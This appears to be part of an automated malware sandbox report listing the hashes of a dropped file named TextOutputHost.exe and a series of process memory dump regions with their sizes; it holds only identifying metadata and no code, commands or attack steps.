4b8967e85ebca846bda3910dac537b360fd36163eb778b6f3c522273d9ac0ae2821536c50a40eb3b56938396166ab83d75e7999dc32fe8807d734a479bdce820

Download Submit
\Users\Admin\AppData\Local\Temp\TextOutputHost.exe
Filesize
3.4MB

MD5
55a6d22be09d762103ae315f97b58561

SHA1
f218c5bb6b7e3cbe9483f8bc4552edb180fd2bd1

SHA256
41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a

SHA512
4b8967e85ebca846bda3910dac537b360fd36163eb778b6f3c522273d9ac0ae2821536c50a40eb3b56938396166ab83d75e7999dc32fe8807d734a479bdce820

Download Submit
memory/336-99-0x000007FEF22C0000-0x000007FEF2E1D000-memory.dmp

Filesize
11.4MB

Download
memory/336-95-0x0000000000000000-mapping.dmp

Download
memory/336-98-0x000007FEF2E20000-0x000007FEF3843000-memory.dmp

Filesize
10.1MB

Download
memory/336-100-0x0000000002624000-0x0000000002627000-memory.dmp

Filesize
12KB

Download
memory/336-101-0x000000000262B000-0x000000000264A000-memory.dmp

Filesize
124KB

Download
memory/336-103-0x000000000262B000-0x000000000264A000-memory.dmp

Filesize
124KB

Download
memory/1492-85-0x0000000000000000-mapping.dmp

Download
memory/1496-89-0x000000000250B000-0x000000000252A000-memory.dmp

Filesize
124KB

Download
memory/1496-86-0x000000000250B000-0x000000000252A000-memory.dmp

Filesize
124KB

Download
memory/1496-75-0x000007FEF3A50000-0x000007FEF4473000-memory.dmp

Filesize
10.1MB

Download
memory/1496-77-0x000007FEF2CF0000-0x000007FEF384D000-memory.dmp

Filesize
11.4MB

Download
memory/1496-79-0x0000000002504000-0x0000000002507000-memory.dmp

Filesize
12KB

Download
memory/1496-73-0x0000000000000000-mapping.dmp

Download
memory/1496-88-0x0000000002504000-0x0000000002507000-memory.dmp

Filesize
12KB

Download
memory/1580-62-0x0000000000000000-mapping.dmp

Download
memory/1580-94-0x0000000076CC0000-0x0000000076E69000-memory.dmp

Filesize
1.7MB

Download
memory/1580-68-0x000000013F890000-0x00000001401E8000-memory.dmp

Filesize
9.3MB

Download
memory/1580-70-0x000000013F890000-0x00000001401E8000-memory.dmp

Filesize
9.3MB

Download
memory/1580-69-0x0000000076CC0000-0x0000000076E69000-memory.dmp

Filesize
1.7MB

Download
memory/1580-71-0x000007FEFB6E1000-0x000007FEFB6E3000-memory.dmp

Filesize
8KB

Download
memory/1580-102-0x00000000022C0000-0x00000000022D0000-memory.dmp

Filesize
64KB

Download
memory/1580-67-0x000000013F890000-0x00000001401E8000-memory.dmp

Filesize
9.3MB

Download
memory/1580-78-0x00000000022C0000-0x00000000022D0000-memory.dmp

Filesize
64KB

Download
memory/1580-96-0x000000013F890000-0x00000001401E8000-memory.dmp

Filesize
9.3MB

Download
memory/1608-82-0x0000000000000000-mapping.dmp

Download
memory/1908-65-0x0000000000DA0000-0x0000000001872000-memory.dmp

Filesize
10.8MB

Download
memory/1908-66-0x0000000076EA0000-0x0000000077020000-memory.dmp

Filesize
1.5MB

Download
memory/1908-60-0x0000000076EA0000-0x0000000077020000-memory.dmp

Filesize
1.5MB

Download
memory/1908-59-0x0000000000DA0000-0x0000000001872000-memory.dmp

Filesize
10.8MB

Download
memory/1908-58-0x0000000000DA0000-0x0000000001872000-memory.dmp

Filesize
10.8MB

Download
memory/1908-54-0x0000000074DB1000-0x0000000074DB3000-memory.dmp

Filesize
8KB

Download
memory/1908-57-0x0000000000DA0000-0x0000000001872000-memory.dmp

Filesize
10.8MB

Download